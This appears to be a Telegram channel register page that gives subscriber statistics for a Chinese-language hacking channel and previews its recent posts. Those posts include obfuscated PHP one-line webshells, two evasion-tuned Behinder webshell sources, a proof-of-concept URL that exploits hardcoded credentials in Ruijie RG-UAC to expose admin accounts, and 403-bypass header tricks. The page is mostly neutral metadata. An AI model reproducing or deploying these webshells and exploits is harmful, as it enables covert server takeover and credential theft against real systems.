403 BYPASS 小记 方法一:旁站,有可能是管理员仅设置了主域的权限,那么通过改变旁站,可以越过权限设置 # 原始请求 GET /admin/login HTTP/1.1 Host: www.abc.com # 原始响应 HTTP/1.1 403 Forbidden # 改变请求 GET /admin/login HTTP/1.1 Host: $xxx$.abc.com # 改编后响应 HTTP/1.1 200 OK 方法二:通过URL覆盖的方式,将GET后的URL改为根目录/,其后添加 如:X-Original-URL: /admin/login、X-Rewrite-URL: /admin/login 等 甚至:Referer: https://www.abc.com/admin/login # 原始请求 GET /admin/login HTTP/1.1 Host: www.abc.com # 原始响应 HTTP…

Channel
信息安全狂热者
@Safecraze
On this record: Topic · Growth · Engagement · Posts · Handles named that no longer answer · Cite this entry
1,151subscribers
-46 since we began measuring on 6 August 2026
Risers and fallers across the register · movement among entries of 1,000–3,162.
Register entry
| Telegram ID | -1001463419516 |
|---|---|
| Type | Channel |
| Username | @Safecraze |
| Created | Between 1 April 2019 and 26 November 2020 — estimated from Telegram’s id allocation, not measured. How this range is calculated. |
| First recorded | 6 August 2026 |
| Last confirmed live | 1 November 2026 |
| Measurements held | 23 |
| Confirmed unchanged | 1 time, most recently 1 November 2026 |
| On Telegram | t.me/Safecraze |
Topic
Hacking & security — a classification, not a measurement. An on-box language model (Qwen3.6-35B-A3B-FP8, prompt version 1) read this channel’s own recent posts on 18 September 2026 and assigned it the closest of 31 fixed categories, at 100% confidence. This is a model’s judgement about what the channel is likely to be about, not a fact this register measured the way a subscriber count or a view count is measured — it can be revised on a later pass, and it carries no weight anywhere else on this page. How this classification works, and the other topics.
Growth
| Measured (UTC) | Subscribers | Change |
|---|---|---|
| 1 Nov 2026, 18:19 | 1,151 | -1 |
| 29 Oct 2026, 17:28 | 1,152 | -2 |
| 26 Oct 2026, 16:11 | 1,154 | -1 |
| 23 Oct 2026, 19:00 | 1,155 | -2 |
| 21 Oct 2026, 01:51 | 1,157 | -2 |
| 17 Oct 2026, 20:17 | 1,159 | -3 |
| 15 Oct 2026, 02:26 | 1,162 | -1 |
| 11 Oct 2026, 14:37 | 1,163 | -2 |
| 5 Oct 2026, 02:16 | 1,165 | -5 |
| 26 Sept 2026, 04:57 | 1,170 | -9 |
| 17 Sept 2026, 08:17 | 1,179 | -2 |
| 13 Sept 2026, 06:17 | 1,181 | -2 |
| 8 Sept 2026, 23:35 | 1,183 | -3 |
| 3 Sept 2026, 14:56 | 1,186 | -1 |
| 28 Aug 2026, 08:04 | 1,187 | -3 |
| 25 Aug 2026, 13:23 | 1,190 | +1 |
| 22 Aug 2026, 04:08 | 1,189 | -1 |
| 19 Aug 2026, 05:58 | 1,190 | -1 |
| 16 Aug 2026, 02:16 | 1,191 | -3 |
| 12 Aug 2026, 09:11 | 1,194 | first reading |
Engagement
20 posts held, back to 26 November 2020 — the reader has not yet reached the start of this channel’s public history, so older posts may sit further back, unread. Read across 1 page of Telegram’s post history, 20 posts per page.
Nothing published in the last 30 days. ERR and ER are rolling 30-day measures, so there is nothing to compute — we hold 20 posts for this entry, the most recent from 10 March 2022. An engagement rate over an empty window would be a number about nothing.
Recent posts
php一句话 7.x: <? @("Y;HJ(Z"^"8H;/Z.")(${"~?}$"^"!x8p"}[1]); 5.x: <? $a="Y;HJ(Z"^"8H;/Z."; $a(${"~?}$"^"!x8p"}[1]);
Disclaimer: 因本 Channel 符合 Telegram 自动投放广告要求,故订阅者可能会在此 Channel 看到带有 sponsor 或 赞助 字样的消息 特此声明本 Channel 与广告内容投放主无任何关联,现阶段也无法从被投放的广告内容中获得任何形式的回报。故本 Channel 不对其投放内容做任何形式的背书,敬请自行辨认广告内容真伪,谨防上当受骗
php7以上 冰蝎免杀马 <?php @error_reporting(0); session_start(); $t=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101); $J=[("$t")("cGhwOi8vaW5wdXQ="),("$t")("b3BlbnNzbA==")]; if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else { $key=$_SESSION['k']; $post=("$t")("ZmlsZV9nZXRfY29udGVudHM=")("$J[…
锐捷 RG-UAC 统一上网行为管理审计系统 账户硬编码漏洞 poc: https://127.0.0.1/get_dkey.php?user=admin 成功访问后,可看到该系统的超级管理员权限账号、访客权限账号、审计权限账号的 账户名 和 MD5 加密的密码值
http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi/
https://mp.weixin.qq.com/s/ktGug1VbSpmzh9CEGKbbdw windows 计划任务隐藏新姿势分享
https://mp.weixin.qq.com/s/ESKRMxYMdEGlmHBKx17oOA JumpServer远程代码执行漏洞分析及复现
内网/域渗透常用命令:https://wadcoms.github.io
https://mp.weixin.qq.com/s/FhLyZcBbWVAyNrVl3S9rwQ
冰蝎3.0免杀马 <?php @error_reporting(0); session_start(); $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond $_SESSION['k']=$key; $f=explode("|",base64_decode("ZmlsZV9nZXRfY29udGVudHN8YmFzZTY0X2RlY29kZXxwaHA6Ly9pbnB1dA==")); $post=["bie"=>$f[0](end($f))]; $post=$post["bie"]; if(!extension_loaded('openssl')) { $post=$f[1]($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i] xor $key[$i+1&15];…
https://forum.90sec.com/t/topic/1448 Xrayfofa----一款将xray和fofa完美结合的自动化工具 - 账号审核 - 90Sec
Showing the 12 most recent of 20 posts we hold for @Safecraze. View and reaction counts are the latest single reading for each post, not a live figure, and a recent post is still accumulating both. A view count marked ≈ was rounded by Telegram before we ever saw it — t.me prints views in full below 1,000 and to three significant figures above, so ≈1,200,000 means somewhere between 1,150,000 and 1,249,999. Unmarked counts are exact. Text is reproduced from the public post preview and truncated for length.
Handles this channel named that no longer answer
- Dead references
- 2
- handles named in this channel’s posts, vacant today
- Evidenced gone
- 1
- we ourselves saw one of these resolve, at some point
- Never seen alive
- 1
- vacant every time we have ever looked
@Safecraze named 2 handles that resolve to nothing today. That is a fact about the reference, not necessarily a fact about the handle’s history — see the two groups below.
Most of these may never have existed as a live channel at all. A handle a channel names can be a typo, an aspirational name nobody registered, or a channel that was already gone before this one ever mentioned it. Unless a row below is marked evidenced, all we know is that it references a handle that is not a live channel today — not that anything “died”. How this is measured.
Evidenced gone
We ourselves saw each of these resolve to a real page at some point before it went vacant — a genuine, evidenced change, not an inference from absence.
named in 1 post, 8 August 2026 – 8 August 2026 · confirmed gone 14 October 2026 (two independent sightings — see how we confirm a dead handle)evidenced
Never seen alive
References a handle that is not a live channel — we have no record it ever was one.
named in 2 posts, 8 August 2026 – 8 August 2026
Cite this entry
A live page changes as we take new readings, so a citation should name the measurement it is based on, not just the URL. The line below cites the subscriber count as measured 1 November 2026 — this entry's latest reading, not the date you are reading this.
“信息安全狂热者” (@Safecraze), 1,151 subscribers as measured 1 November 2026. Telegram Register, tgregister.com/channel/Safecraze.
Full measurement history, CC BY 4.0. Every reading this register holds for this entry, not just the latest one, as a dated, downloadable record: CSV · JSON. Free to use with attribution to tgregister.com. Each file carries its own generation timestamp, which is the figure to cite for exactly when the data was retrieved.